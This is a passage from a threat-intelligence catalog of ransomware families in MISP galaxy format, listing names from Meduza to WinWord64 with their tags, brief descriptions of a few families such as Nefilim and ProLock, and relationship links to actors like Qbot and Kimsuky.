<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-181a">https://www.cisa.gov/uscert/ncas/alerts/aa22-181a</a></td>
</tr>
</tbody>
</table>

**Meduza**

ransomware

The tag is: *misp-galaxy:ransomware=*"Meduza"

**MegaLocker**

ransomware

The tag is: *misp-galaxy:ransomware=*"MegaLocker"

**Mew767**

ransomware

The tag is: *misp-galaxy:ransomware=*"Mew767"

**Mike NotSTOP**

ransomware

The tag is: *misp-galaxy:ransomware=*"Mike NotSTOP"

**Mikoyan**

ransomware

The tag is: *misp-galaxy:ransomware=*"Mikoyan"

**MindLost**

ransomware

The tag is: *misp-galaxy:ransomware=*"MindLost"
MindSystem
ransomware
The tag is: misp-galaxy:ransomware="MindSystem"

Mini
ransomware
The tag is: misp-galaxy:ransomware="Mini"

Minotaur
ransomware
The tag is: misp-galaxy:ransomware="Minotaur"

MMM
ransomware
The tag is: misp-galaxy:ransomware="MMM"

MNS CryptoLocker
ransomware
The tag is: misp-galaxy:ransomware="MNS CryptoLocker"

MoneroPay
ransomware
The tag is: misp-galaxy:ransomware="MoneroPay"

MongoLock
ransomware
The tag is: misp-galaxy:ransomware="MongoLock"

MoonCryptor
ransomware
The tag is: misp-galaxy:ransomware="MoonCryptor"
Mordor
ransomware
The tag is: misp-galaxy:ransomware="Mordor"

MorrisBatchCrypt
ransomware
The tag is: misp-galaxy:ransomware="MorrisBatchCrypt"

Moth
ransomware
The tag is: misp-galaxy:ransomware="Moth"

MoWare H.F.D
ransomware
The tag is: misp-galaxy:ransomware="MoWare H.F.D"

Mr.Locker
ransomware
The tag is: misp-galaxy:ransomware="Mr.Locker"

Mr403Forbidden
ransomware
The tag is: misp-galaxy:ransomware="Mr403Forbidden"

MuchLove
ransomware
The tag is: misp-galaxy:ransomware="MuchLove"

Muhstik
ransomware
The tag is: misp-galaxy:ransomware="Muhstik"
Mystic

ransomware

The tag is: misp-galaxy:ransomware="Mystic"

MZP

ransomware

The tag is: misp-galaxy:ransomware="MZP"

N2019cov

ransomware

The tag is: misp-galaxy:ransomware="N2019cov"

Naampa

ransomware

The tag is: misp-galaxy:ransomware="Naampa"

NazCrypt

ransomware

The tag is: misp-galaxy:ransomware="NazCrypt"

Nefilim

According to Vitali Kremez and Michael Gillespie, this ransomware shares much code with Nemty 2.5. A difference is removal of the RaaS component, which was switched to email communications for payments. Uses AES-128, which is then protected RSA2048.

The tag is: misp-galaxy:ransomware="Nefilim"

View relationships graph

Nefilim has relationships with:

• related-to: misp-galaxy:ransomware="Nemty" with estimative-language:likelihood-probability="likely"
Negozl
ransomware
The tag is: misp-galaxy:ransomware="Negozl"

Neitrino
ransomware
The tag is: misp-galaxy:ransomware="Neitrino"

NewWave
ransomware
The tag is: misp-galaxy:ransomware="NewWave"

NextCry
ransomware
The tag is: misp-galaxy:ransomware="NextCry"

Nightmare
ransomware
The tag is: misp-galaxy:ransomware="Nightmare"

NinjaLoc
ransomware
The tag is: misp-galaxy:ransomware="NinjaLoc"

NM4
ransomware
The tag is: misp-galaxy:ransomware="NM4"

Noblis
ransomware
The tag is: misp-galaxy:ransomware="Noblis"
Nog4yH4n

ransomware

The tag is: misp-galaxy:ransomware="Nog4yH4n"

Nomikon

ransomware

The tag is: misp-galaxy:ransomware="Nomikon"

NotAHero

ransomware

The tag is: misp-galaxy:ransomware="NotAHero"

Nozelesn

ransomware

The tag is: misp-galaxy:ransomware="Nozelesn"

Nulltica

ransomware

The tag is: misp-galaxy:ransomware="Nulltica"

Nx / OSR

ransomware

The tag is: misp-galaxy:ransomware="Nx / OSR"

Nyton

ransomware

The tag is: misp-galaxy:ransomware="Nyton"

NZMR

ransomware

The tag is: misp-galaxy:ransomware="NZMR"
Ogre
ransomware
The tag is: "misp-galaxy:ransomware\"Ogre\""

OhNo!
ransomware
The tag is: "misp-galaxy:ransomware\"OhNo\""

Oled
ransomware
The tag is: "misp-galaxy:ransomware\"Oled\""

OmniSphere
ransomware
The tag is: "misp-galaxy:ransomware\"OmniSphere\""

One
ransomware
The tag is: "misp-galaxy:ransomware\"One\""

ONI
ransomware
The tag is: "misp-galaxy:ransomware\"ONI\""

OoPS Ramenware
ransomware
The tag is: "misp-galaxy:ransomware\"OoPS Ramenware\""

OopsLocker
ransomware
The tag is: "misp-galaxy:ransomware\"OopsLocker\""
OPdailyallowance

ransomware

The tag is: misp-galaxy:ransomware="OPdailyallowance"

OpenToYou

ransomware

The tag is: misp-galaxy:ransomware="OpenToYou"

Ordinal

ransomware

The tag is: misp-galaxy:ransomware="Ordinal"

Ordinypt

ransomware

The tag is: misp-galaxy:ransomware="Ordinypt"

Pacman

ransomware

The tag is: misp-galaxy:ransomware="Pacman"

PassLock

ransomware

The tag is: misp-galaxy:ransomware="PassLock"

Pay-or-Lost

ransomware

The tag is: misp-galaxy:ransomware="Pay-or-Lost"

PayForNature

ransomware

The tag is: misp-galaxy:ransomware="PayForNature"
Paymen45

ransomware

The tag is: misp-galaxy:ransomware="Paymen45"

Payment

ransomware

The tag is: misp-galaxy:ransomware="Payment"

PClock и PClock2

ransomware

The tag is: misp-galaxy:ransomware="PClock и PClock2"

PPDDDP

ransomware

The tag is: misp-galaxy:ransomware="PPDDDP"

PEC 2017

ransomware

The tag is: misp-galaxy:ransomware="PEC 2017"

Pendor

ransomware

The tag is: misp-galaxy:ransomware="Pendor"

Pennywise

ransomware

The tag is: misp-galaxy:ransomware="Pennywise"

PewCrypt +decrypt

ransomware

The tag is: misp-galaxy:ransomware="PewCrypt +decrypt"
**PewDiePie**

ransomware

The tag is: `misp-galaxy:ransomware="PewDiePie"`

**PhobosImposter**

ransomware

The tag is: `misp-galaxy:ransomware="PhobosImposter"`

**PhoneNumber**

ransomware

The tag is: `misp-galaxy:ransomware="PhoneNumber"`

**PHP**

ransomware

The tag is: `misp-galaxy:ransomware="PHP"`

**Pirateware**

ransomware

The tag is: `misp-galaxy:ransomware="Pirateware"`

**PoisonFang**

ransomware

The tag is: `misp-galaxy:ransomware="PoisonFang"`

**PonyFinal**

ransomware

The tag is: `misp-galaxy:ransomware="PonyFinal"`

**PooleZoor**

ransomware

The tag is: `misp-galaxy:ransomware="PooleZoor"`
PopCornTime

ransomware

The tag is: `misp-galaxy:ransomware="PopCornTime"`

PowerHentai

ransomware

The tag is: `misp-galaxy:ransomware="PowerHentai"`

PowerLocky

ransomware

The tag is: `misp-galaxy:ransomware="PowerLocky"`

PowerShell Locker 2013

ransomware

The tag is: `misp-galaxy:ransomware="PowerShell Locker 2013"`

PowerShell Locker 2015

ransomware

The tag is: `misp-galaxy:ransomware="PowerShell Locker 2015"`

Pr0tector

ransomware

The tag is: `misp-galaxy:ransomware="Pr0tector"`

Predator

ransomware

The tag is: `misp-galaxy:ransomware="Predator"`

Priapos

ransomware

The tag is: `misp-galaxy:ransomware="Priapos"`
**Project23**

ransomware

The tag is: `misp-galaxy:ransomware="Project23"`

**Project57**

ransomware

The tag is: `misp-galaxy:ransomware="Project57"`

**ProLock**

PwndLocker is a ransomware that was observed in late 2019 and is reported to have been used to target businesses and local governments/cities. According to one source, ransom amounts demanded as part of PwndLocker activity range from $175k USD to $650k USD depending on the size of the network. PwndLocker attempts to disable a variety of Windows services so that their data can be encrypted. Various processes will also be targeted, such as web browsers and software related to security, backups, and databases. Shadow copies are cleared by the ransomware, and encryption of files occurs once the system has been prepared in this way. Executable files and those that are likely to be important for the system to continue to function appear to be skipped by the ransomware, and a large number of folders mostly related to Microsoft Windows system files are also ignored. As of March 2020, encrypted files have been observed with the added extensions of .key and .pwnd. Ransom notes are dropped in folders where encrypted files are found and also on the user's desktop.

The tag is: `misp-galaxy:ransomware="ProLock"`

**View relationships graph**

ProLock has relationships with:

- dropped-by: `misp-galaxy:botnet="Qbot"` with `estimative-language:likelihood-probability="likely"`

**Prometey**

ransomware

The tag is: `misp-galaxy:ransomware="Prometey"`

**Protected**

ransomware

The tag is: `misp-galaxy:ransomware="Protected"`
PSCrypt
ransomware
The tag is: misp-galaxy:ransomware="PSCrypt"

PshCrypt
ransomware
The tag is: misp-galaxy:ransomware="PshCrypt"

PTP
ransomware
The tag is: misp-galaxy:ransomware="PTP"

Pulpy
ransomware
The tag is: misp-galaxy:ransomware="Pulpy"

PureLocker
ransomware
The tag is: misp-galaxy:ransomware="PureLocker"

PwndLocker
ransomware
The tag is: misp-galaxy:ransomware="Pwnd Locker"

PyteHole
ransomware
The tag is: misp-galaxy:ransomware="PyteHole"

Python
ransomware
The tag is: misp-galaxy:ransomware="Python"
PZDC
ransomware
The tag is: misp-galaxy:ransomware="PZDC"

Qinynore
ransomware
The tag is: misp-galaxy:ransomware="Qinynore"

QNAPCrypt
ransomware
The tag is: misp-galaxy:ransomware="QNAPCrypt"

QP
ransomware
The tag is: misp-galaxy:ransomware="QP"

QuakeWay
ransomware
The tag is: misp-galaxy:ransomware="QuakeWay"

Qweuirtksd
ransomware
The tag is: misp-galaxy:ransomware="Qweuirtksd"

R3store
ransomware
The tag is: misp-galaxy:ransomware="R3store"

RabbitFox
ransomware
The tag is: misp-galaxy:ransomware="RabbitFox"
Ramsey
ransomware
The tag is: misp-galaxy:ransomware="Ramsey"

RandomLocker
ransomware
The tag is: misp-galaxy:ransomware="RandomLocker"

RanRans
ransomware
The tag is: misp-galaxy:ransomware="RanRans"

Rans0mLocked
ransomware
The tag is: misp-galaxy:ransomware="Rans0mLocked"

Ransed
ransomware
The tag is: misp-galaxy:ransomware="Ransed"

Ransom102
ransomware
The tag is: misp-galaxy:ransomware="Ransom102"

RansomAES
ransomware
The tag is: misp-galaxy:ransomware="RansomAES"

RansomCuck
ransomware
The tag is: misp-galaxy:ransomware="RansomCuck"
**RansomMine**

ransomware

The tag is: `misp-galaxy:ransomware="RansomMine"`

**Ransomnix**

ransomware

The tag is: `misp-galaxy:ransomware="Ransomnix"`

**Ransom Prank**

ransomware

The tag is: `misp-galaxy:ransomware="Ransom Prank"`

**RansomUserLocker**

ransomware

The tag is: `misp-galaxy:ransomware="RansomUserLocker"`

**RansomWarrior**

ransomware

The tag is: `misp-galaxy:ransomware="RansomWarrior"`

**Rapid**

ransomware

The tag is: `misp-galaxy:ransomware="Rapid"`

**Rapid 2.0**

ransomware

The tag is: `misp-galaxy:ransomware="Rapid 2.0"`

**Rapid 3.0**

ransomware

The tag is: `misp-galaxy:ransomware="Rapid 3.0"`
Rapid-Gillette
ransomware
The tag is: misp-galaxy:ransomware="Rapid-Gillette"

Ra
ransomware
The tag is: misp-galaxy:ransomware="Ra"

RaRuCrypt
ransomware
The tag is: misp-galaxy:ransomware="RaRuCrypt"

RedBoot
ransomware
The tag is: misp-galaxy:ransomware="RedBoot"

Redkeeper
ransomware
The tag is: misp-galaxy:ransomware="Redkeeper"

RedFox
ransomware
The tag is: misp-galaxy:ransomware="RedFox"

RedRum
ransomware
The tag is: misp-galaxy:ransomware="RedRum"

Redshot
ransomware
The tag is: misp-galaxy:ransomware="Redshot"
Reetner
ransomware
The tag is: misp-galaxy:ransomware="Reetner"

RekenSom
ransomware
The tag is: misp-galaxy:ransomware="RekenSom"

Relock
ransomware
The tag is: misp-galaxy:ransomware="Relock"

RensenWare
ransomware
The tag is: misp-galaxy:ransomware="RensenWare"

Rentyr
ransomware
The tag is: misp-galaxy:ransomware="Rentyr"

RestoLocker
ransomware
The tag is: misp-galaxy:ransomware="RestoLocker"

Resurrection
ransomware
The tag is: misp-galaxy:ransomware="Resurrection"

Retis
ransomware
The tag is: misp-galaxy:ransomware="Retis"
RetMyData

ransomware

The tag is: misp-galaxy:ransomware="RetMyData"

Revolution

ransomware

The tag is: misp-galaxy:ransomware="Revolution"

Reyptson

ransomware

The tag is: misp-galaxy:ransomware="Reyptson"

Rhino

ransomware

The tag is: misp-galaxy:ransomware="Rhino"

Rijndael

ransomware

The tag is: misp-galaxy:ransomware="Rijndael"

Rogue HT

ransomware

The tag is: misp-galaxy:ransomware="Rogue HT"

Rontok

ransomware

The tag is: misp-galaxy:ransomware="Rontok"

Rozlok

ransomware

The tag is: misp-galaxy:ransomware="Rozlok"
RSA-NI
ransomware
The tag is: misp-galaxy:ransomware="RSA-NI"

RSA2048Pro
ransomware
The tag is: misp-galaxy:ransomware="RSA2048Pro"

Ruby
ransomware
The tag is: misp-galaxy:ransomware="Ruby"

Rush
ransomware
The tag is: misp-galaxy:ransomware="Rush"

Russenger
ransomware
The tag is: misp-galaxy:ransomware="Russenger"

Russian EDA2
ransomware
The tag is: misp-galaxy:ransomware="Russian EDA2"

SAD
ransomware
The tag is: misp-galaxy:ransomware="SAD"

SadComputer
ransomware
The tag is: misp-galaxy:ransomware="SadComputer"
Sadogo

ransomware

The tag is: misp-galaxy:ransomware="Sadogo"

Salsa

ransomware

The tag is: misp-galaxy:ransomware="Salsa"

Santa Encryptor

ransomware

The tag is: misp-galaxy:ransomware="Santa Encryptor"

Saramat

ransomware

The tag is: misp-galaxy:ransomware="Saramat"

SARansom

ransomware

The tag is: misp-galaxy:ransomware="SARansom"

Satan Cryptor 2.0

ransomware

The tag is: misp-galaxy:ransomware="Satan Cryptor 2.0"

Satan’s Doom Crypter

ransomware

The tag is: misp-galaxy:ransomware="Satan’s Doom Crypter"

SatanCryptor Go

ransomware

The tag is: misp-galaxy:ransomware="SatanCryptor Go"
Saturn
 ransomware
The tag is: misp-galaxy:ransomware="Saturn"

Satyr
 ransomware
The tag is: misp-galaxy:ransomware="Satyr"

SaveTheQueen
 ransomware
The tag is: misp-galaxy:ransomware="SaveTheQueen"

ScammerLocker HT
 ransomware
The tag is: misp-galaxy:ransomware="ScammerLocker HT"

ScammerLocker Ph
 ransomware
The tag is: misp-galaxy:ransomware="ScammerLocker Ph"

Schwerer
 ransomware
The tag is: misp-galaxy:ransomware="Schwerer"

ScorpionLocker
 ransomware
The tag is: misp-galaxy:ransomware="ScorpionLocker"

Scrabber
 ransomware
The tag is: misp-galaxy:ransomware="Scrabber"
Scroboscope
ransomware
The tag is: misp-galaxy:ransomware="Scroboscope"

SecretSystem
ransomware
The tag is: misp-galaxy:ransomware="SecretSystem"

SecureCryptor
ransomware
The tag is: misp-galaxy:ransomware="SecureCryptor"

SeginChile
ransomware
The tag is: misp-galaxy:ransomware="SeginChile"

SEND.ID.TO
ransomware
The tag is: misp-galaxy:ransomware="SEND.ID.TO"

Seon
ransomware
The tag is: misp-galaxy:ransomware="Seon"

Sepsis
ransomware
The tag is: misp-galaxy:ransomware="Sepsis"

SepSys
ransomware
The tag is: misp-galaxy:ransomware="SepSys"
Shadi

ransomware

The tag is: misp-galaxy:ransomware="Shadi"

ShadowCryptor

ransomware

The tag is: misp-galaxy:ransomware="ShadowCryptor"

ShinigamiLocker

ransomware

The tag is: misp-galaxy:ransomware="ShinigamiLocker"

ShkolotaCrypt

ransomware

The tag is: misp-galaxy:ransomware="ShkolotaCrypt"

Shrug

ransomware

The tag is: misp-galaxy:ransomware="Shrug"

Shutdown57

ransomware

The tag is: misp-galaxy:ransomware="Shutdown57"

ShutUpAndDance

ransomware

The tag is: misp-galaxy:ransomware="ShutUpAndDance"

Sifreli 2017

ransomware

The tag is: misp-galaxy:ransomware="Sifreli 2017"
Sifreli 2019

ransomware

The tag is: misp-galaxy:ransomware="Sifreli 2019"

SifreCozucu

ransomware

The tag is: misp-galaxy:ransomware="SifreCozucu"

SilentSpring

ransomware

The tag is: misp-galaxy:ransomware="SilentSpring"

SintaLocker

ransomware

The tag is: misp-galaxy:ransomware="SintaLocker"

Skull

ransomware

The tag is: misp-galaxy:ransomware="Skull"

Skull HT

ransomware

The tag is: misp-galaxy:ransomware="Skull HT"

SkyStars

ransomware

The tag is: misp-galaxy:ransomware="SkyStars"

SlankCryptor

ransomware

The tag is: misp-galaxy:ransomware="SlankCryptor"
Snake-Ekans
ransomware
The tag is: misp-galaxy:ransomware="Snake-Ekans"

SnakeLocker
ransomware
The tag is: misp-galaxy:ransomware="SnakeLocker"

Snatch
ransomware
The tag is: misp-galaxy:ransomware="Snatch"

SnowPicnic
ransomware
The tag is: misp-galaxy:ransomware="SnowPicnic"

SoFucked
ransomware
The tag is: misp-galaxy:ransomware="SoFucked"

SOLO
ransomware
The tag is: misp-galaxy:ransomware="SOLO"

Somik1
ransomware
The tag is: misp-galaxy:ransomware="Somik1"

Sorry HT
ransomware
The tag is: misp-galaxy:ransomware="Sorry HT"
SpartCrypt
ransomware
The tag is: misp-galaxy:ransomware="SpartCrypt"

Spectre
ransomware
The tag is: misp-galaxy:ransomware="Spectre"

Sphinx
ransomware
The tag is: misp-galaxy:ransomware="Sphinx"

Spiteful Doubletake
ransomware
The tag is: misp-galaxy:ransomware="Spiteful Doubletake"

SpongeBob
ransomware
The tag is: misp-galaxy:ransomware="SpongeBob"

StalinLocker
ransomware
The tag is: misp-galaxy:ransomware="StalinLocker"

Stinger
ransomware
The tag is: misp-galaxy:ransomware="Stinger"

Storm
ransomware
The tag is: misp-galaxy:ransomware="Storm"
StrawHat

ransomware

The tag is: misp-galaxy:ransomware="StrawHat"

Streamer

ransomware

The tag is: misp-galaxy:ransomware="Streamer"

Striked

ransomware

The tag is: misp-galaxy:ransomware="Striked"

Stroman

ransomware

The tag is: misp-galaxy:ransomware="Stroman"

Stupid

ransomware

The tag is: misp-galaxy:ransomware="Stupid"

StupidJapan

ransomware

The tag is: misp-galaxy:ransomware="StupidJapan"

Styver

ransomware

The tag is: misp-galaxy:ransomware="Styver"

Styx

ransomware

The tag is: misp-galaxy:ransomware="Styx"
SuperB

ransomware

The tag is: misp-galaxy:ransomware="SuperB"

SuperCrypt

ransomware

The tag is: misp-galaxy:ransomware="SuperCrypt"

Suri

ransomware

The tag is: misp-galaxy:ransomware="Suri"

Symbiom

ransomware

The tag is: misp-galaxy:ransomware="Symbiom"

SymmyWare

ransomware

The tag is: misp-galaxy:ransomware="SymmyWare"

Syrk

ransomware

The tag is: misp-galaxy:ransomware="Syrk"

SYSDOWN

ransomware

The tag is: misp-galaxy:ransomware="SYSDOWN"

SystemCrypter

ransomware

The tag is: misp-galaxy:ransomware="SystemCrypter"
**T1Happy**

ransomware

The tag is: `misp-galaxy:ransomware="T1Happy"`

**Takahiro Locker**

ransomware

The tag is: `misp-galaxy:ransomware="Takahiro Locker"`

**TBHRanso**

ransomware

The tag is: `misp-galaxy:ransomware="TBHRanso"`

**Teamo**

ransomware

The tag is: `misp-galaxy:ransomware="Teamo"`

**Tear Dr0p**

ransomware

The tag is: `misp-galaxy:ransomware="Tear Dr0p"`

**Technicy**

ransomware

The tag is: `misp-galaxy:ransomware="Technicy"`

**TeslaWare**

ransomware

The tag is: `misp-galaxy:ransomware="TeslaWare"`

**TFlower**

ransomware

The tag is: `misp-galaxy:ransomware="TFlower"`
The Brotherhood

ransomware

The tag is: misp-galaxy:ransomware="The Brotherhood"

The Magic

ransomware

The tag is: misp-galaxy:ransomware="The Magic"

TheCursedMurderer

ransomware

The tag is: misp-galaxy:ransomware="TheCursedMurderer"

TheDarkEncryptor

ransomware

The tag is: misp-galaxy:ransomware="TheDarkEncryptor"

Thor

ransomware

The tag is: misp-galaxy:ransomware="Thor"

THT

ransomware

The tag is: misp-galaxy:ransomware="THT"

ThunderCrypt

ransomware

The tag is: misp-galaxy:ransomware="ThunderCrypt"

Tk

ransomware

The tag is: misp-galaxy:ransomware="Tk"
Torchwood
ransomware
The tag is: misp-galaxy:ransomware="Torchwood"

TorLocker
ransomware
The tag is: misp-galaxy:ransomware="TorLocker"

TotalWipeOut
ransomware
The tag is: misp-galaxy:ransomware="TotalWipeOut"

TPS1.0
ransomware
The tag is: misp-galaxy:ransomware="TPS1.0"

Trick-Or-Treat
ransomware
The tag is: misp-galaxy:ransomware="Trick-Or-Treat"

Trojan-Syria
ransomware
The tag is: misp-galaxy:ransomware="Trojan-Syria"

TrumpHead
ransomware
The tag is: misp-galaxy:ransomware="TrumpHead"

TurkStatik
ransomware
The tag is: misp-galaxy:ransomware="TurkStatik"
Tyrant
ransomware
The tag is: *misp-galaxy:ransomware*="Tyrant"

UCCU
ransomware
The tag is: *misp-galaxy:ransomware*="UCCU"

Ukash
ransomware
The tag is: *misp-galaxy:ransomware*="Ukash"

Ultimo HT
ransomware
The tag is: *misp-galaxy:ransomware*="Ultimo HT"

UltraCrypter
ransomware
The tag is: *misp-galaxy:ransomware*="UltraCrypter"

Unikey
ransomware
The tag is: *misp-galaxy:ransomware*="Unikey"

Unknown Crypted
ransomware
The tag is: *misp-galaxy:ransomware*="Unknown Crypted"

Unknown Lock
ransomware
The tag is: *misp-galaxy:ransomware*="Unknown Lock"
Unknown XTBL

ransomware

The tag is: `misp-galaxy:ransomware="Unknown XTBL"`

Unlckr

ransomware

The tag is: `misp-galaxy:ransomware="Unlckr"`

UNNAM3D

ransomware

The tag is: `misp-galaxy:ransomware="UNNAM3D"`

Unnamed Bin

ransomware

The tag is: `misp-galaxy:ransomware="Unnamed Bin"`

Unrans

ransomware

The tag is: `misp-galaxy:ransomware="Unrans"`

UselessDisk

ransomware

The tag is: `misp-galaxy:ransomware="UselessDisk"`

UselessFiles

ransomware

The tag is: `misp-galaxy:ransomware="UselessFiles"`

USR0

ransomware

The tag is: `misp-galaxy:ransomware="USR0"`
Vaca
ransomware
The tag is: misp-galaxy:ransomware="Vaca"

VCrypt
ransomware
The tag is: misp-galaxy:ransomware="VCrypt"

vCrypt1
ransomware
The tag is: misp-galaxy:ransomware="vCrypt1"

VegaLocker
ransomware
The tag is: misp-galaxy:ransomware="VegaLocker"

Velso
ransomware
The tag is: misp-galaxy:ransomware="Velso"

Vendetta
ransomware
The tag is: misp-galaxy:ransomware="Vendetta"

VevoLocker
ransomware
The tag is: misp-galaxy:ransomware="VevoLocker"

VHD
ransomware
The tag is: misp-galaxy:ransomware="VHD"
ViACrypt

ransomware

The tag is: misp-galaxy:ransomware="ViACrypt"

Viagra

ransomware

The tag is: misp-galaxy:ransomware="Viagra"

VideoBelle

ransomware

The tag is: misp-galaxy:ransomware="VideoBelle"

ViiperWare

ransomware

The tag is: misp-galaxy:ransomware="ViiperWare"

Viro

ransomware

The tag is: misp-galaxy:ransomware="Viro"

ViroBotnet

ransomware

The tag is: misp-galaxy:ransomware="ViroBotnet"

VisionCrypt

ransomware

The tag is: misp-galaxy:ransomware="VisionCrypt"

VMola

ransomware

The tag is: misp-galaxy:ransomware="VMola"
VoidCrypt
ransomware
The tag is: misp-galaxy:ransomware="VoidCrypt"

Vulston
ransomware
The tag is: misp-galaxy:ransomware="Vulston"

Waffle
ransomware
The tag is: misp-galaxy:ransomware="Waffle"

Waiting
ransomware
The tag is: misp-galaxy:ransomware="Waiting"

Waldo
ransomware
The tag is: misp-galaxy:ransomware="Waldo"

Wanna Decryptor Portuguese
ransomware
The tag is: misp-galaxy:ransomware="Wanna Decryptor Portuguese"

WannabeHappy
ransomware
The tag is: misp-galaxy:ransomware="WannabeHappy"

WannaCash
ransomware
The tag is: misp-galaxy:ransomware="WannaCash"
WannaDie
ransomware
The tag is: misp-galaxy:ransomware="WannaDie"

WannaPeace
ransomware
The tag is: misp-galaxy:ransomware="WannaPeace"

WannaSpam
ransomware
The tag is: misp-galaxy:ransomware="WannaSpam"

Want Money
ransomware
The tag is: misp-galaxy:ransomware="Want Money"

Wesker
ransomware
The tag is: misp-galaxy:ransomware="Wesker"

WhatAFuck
ransomware
The tag is: misp-galaxy:ransomware="WhatAFuck"

WhyCry
ransomware
The tag is: misp-galaxy:ransomware="WhyCry"

Windows10
ransomware
The tag is: misp-galaxy:ransomware="Windows10"
WininiCrypt
ransomware
The tag is: misp-galaxy:ransomware="WininiCrypt"

Winsecure
ransomware
The tag is: misp-galaxy:ransomware="Winsecure"

WinUpdatesDisabler
ransomware
The tag is: misp-galaxy:ransomware="WinUpdatesDisabler"

WTDI
ransomware
The tag is: misp-galaxy:ransomware="WTDI"

X Locker 5.0
ransomware
The tag is: misp-galaxy:ransomware="X Locker 5.0"

XCry
ransomware
The tag is: misp-galaxy:ransomware="XCry"

XD
ransomware
The tag is: misp-galaxy:ransomware="XD"

XData
ransomware
The tag is: misp-galaxy:ransomware="XData"
**XeroWare**

ransomware

The tag is: `misp-galaxy:ransomware="XeroWare"`

**Xlockr**

ransomware

The tag is: `misp-galaxy:ransomware="Xlockr"`

**XmdXtazX**

ransomware

The tag is: `misp-galaxy:ransomware="XmdXtazX"`

**Xncrypt**

ransomware

The tag is: `misp-galaxy:ransomware="Xncrypt"`

**XRat**

ransomware

The tag is: `misp-galaxy:ransomware="XRat"`

**View relationships graph**

XRat has relationships with:

- used-by: `misp-galaxy:threat-actor="Kimsuky"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:rat="xRAT"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:tool="xrat"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="XRat"` with `estimative-language:likelihood-probability="likely"

**XyuEncrypt**

ransomware

The tag is: `misp-galaxy:ransomware="XyuEncrypt"`
XXLecXx

ransomware

The tag is: misp-galaxy:ransomware="XXLecXx"

Yatron

ransomware

The tag is: misp-galaxy:ransomware="Yatron"

Yoshikada

ransomware

The tag is: misp-galaxy:ransomware="Yoshikada"

YYYYBJQOQDU

ransomware

The tag is: misp-galaxy:ransomware="YYYYBJQOQDU"

ZariqaCrypt

ransomware

The tag is: misp-galaxy:ransomware="ZariqaCrypt"

Zelta Free

ransomware

The tag is: misp-galaxy:ransomware="Zelta Free"

ZenCrypt

ransomware

The tag is: misp-galaxy:ransomware="ZenCrypt"

Zeoticus

ransomware

The tag is: misp-galaxy:ransomware="Zeoticus"
Zeppelin

ransomware

The tag is: misp-galaxy:ransomware="Zeppelin"

Zero-Fucks

ransomware

The tag is: misp-galaxy:ransomware="Zero-Fucks"

ZeroLocker

ransomware

The tag is: misp-galaxy:ransomware="ZeroLocker"

Zeronine

ransomware

The tag is: misp-galaxy:ransomware="Zeronine"

ZeroRansom

ransomware

The tag is: misp-galaxy:ransomware="ZeroRansom"

Zilla

ransomware

The tag is: misp-galaxy:ransomware="Zilla"

ZimbraCryptor

ransomware

The tag is: misp-galaxy:ransomware="ZimbraCryptor"

ZipLocker

ransomware

The tag is: misp-galaxy:ransomware="ZipLocker"
Zipper
ransomware
The tag is: misp-galaxy:ransomware="Zipper"

Zoldon
ransomware
The tag is: misp-galaxy:ransomware="Zoldon"

ZorgoCry
ransomware
The tag is: misp-galaxy:ransomware="ZorgoCry"

Smaug
ransomware
The tag is: misp-galaxy:ransomware="Smaug"

GammA
ransomware
The tag is: misp-galaxy:ransomware="GammA"

BlackMoon
ransomware
The tag is: misp-galaxy:ransomware="BlackMoon"

MilkmanVictory
ransomware
The tag is: misp-galaxy:ransomware="MilkmanVictory"

Dragoncyber
ransomware
The tag is: misp-galaxy:ransomware="Dragoncyber"
**Solider**
ransomware
The tag is: `misp-galaxy:ransomware="Solider"`

**Biglock**
ransomware
The tag is: `misp-galaxy:ransomware="Biglock"`

**Immuni**
ransomware
The tag is: `misp-galaxy:ransomware="Immuni"`

**Black claw**
ransomware
The tag is: `misp-galaxy:ransomware="Black claw"`

**Banks1**
ransomware
The tag is: `misp-galaxy:ransomware="Banks1"`

**UnluckyWare**
ransomware
The tag is: `misp-galaxy:ransomware="UnluckyWare"`

**Zorab**
ransomware
The tag is: `misp-galaxy:ransomware="Zorab"`

**FonixCrypter**
ransomware
The tag is: `misp-galaxy:ransomware="FonixCrypter"`
LickyAgent

ransomware

The tag is: `misp-galaxy:ransomware="LickyAgent"`

DualShot

ransomware

The tag is: `misp-galaxy:ransomware="DualShot"`

RNS

ransomware

The tag is: `misp-galaxy:ransomware="RNS"`

Such_Crypt

ransomware

The tag is: `misp-galaxy:ransomware="Such_Crypt"`

20dfs

ransomware

The tag is: `misp-galaxy:ransomware="20dfs"`

CryDroid

ransomware

The tag is: `misp-galaxy:ransomware="CryDroid"`

TomNom

ransomware

The tag is: `misp-galaxy:ransomware="TomNom"`

Yogynicof

ransomware

The tag is: `misp-galaxy:ransomware="Yogynicof"`
CobraLocker

ransomware

The tag is: misp-galaxy:ransomware="CobraLocker"

PL

ransomware

The tag is: misp-galaxy:ransomware="PL"

CryCryptor

ransomware

The tag is: misp-galaxy:ransomware="CryCryptor"

Blocky

ransomware

The tag is: misp-galaxy:ransomware="Blocky"

OhNo-FakePDF

ransomware

The tag is: misp-galaxy:ransomware="OhNo-FakePDF"

Try2Cry

ransomware

The tag is: misp-galaxy:ransomware="Try2Cry"

LolKek

ransomware

The tag is: misp-galaxy:ransomware="LolKek"

FlowEncrypt

ransomware

The tag is: misp-galaxy:ransomware="FlowEncrypt"
WhoLocker

ransomware

The tag is: misp-galaxy:ransomware="WhoLocker"

Pojie

ransomware

The tag is: misp-galaxy:ransomware="Pojie"

Aris Locker

ransomware

The tag is: misp-galaxy:ransomware="Aris Locker"

EduRansom

ransomware

The tag is: misp-galaxy:ransomware="EduRansom"

Fastwind

ransomware

The tag is: misp-galaxy:ransomware="Fastwind"

Silvertor

ransomware

The tag is: misp-galaxy:ransomware="Silvertor"

Exorcist

ransomware

The tag is: misp-galaxy:ransomware="Exorcist"

WyvernLocker

ransomware

The tag is: misp-galaxy:ransomware="WyvernLocker"
Ensiko
ransomware
The tag is: misp-galaxy:ransomware="Ensiko"

Django
ransomware
The tag is: misp-galaxy:ransomware="Django"

RansomBlox
ransomware
The tag is: misp-galaxy:ransomware="RansomBlox"

BitRansomware
ransomware
The tag is: misp-galaxy:ransomware="BitRansomware"

AESMew
ransomware
The tag is: misp-galaxy:ransomware="AESMew"

DeathOfShadow
ransomware
The tag is: misp-galaxy:ransomware="DeathOfShadow"

XMRLocker
ransomware
The tag is: misp-galaxy:ransomware="XMRLocker"

WinWord64
ransomware
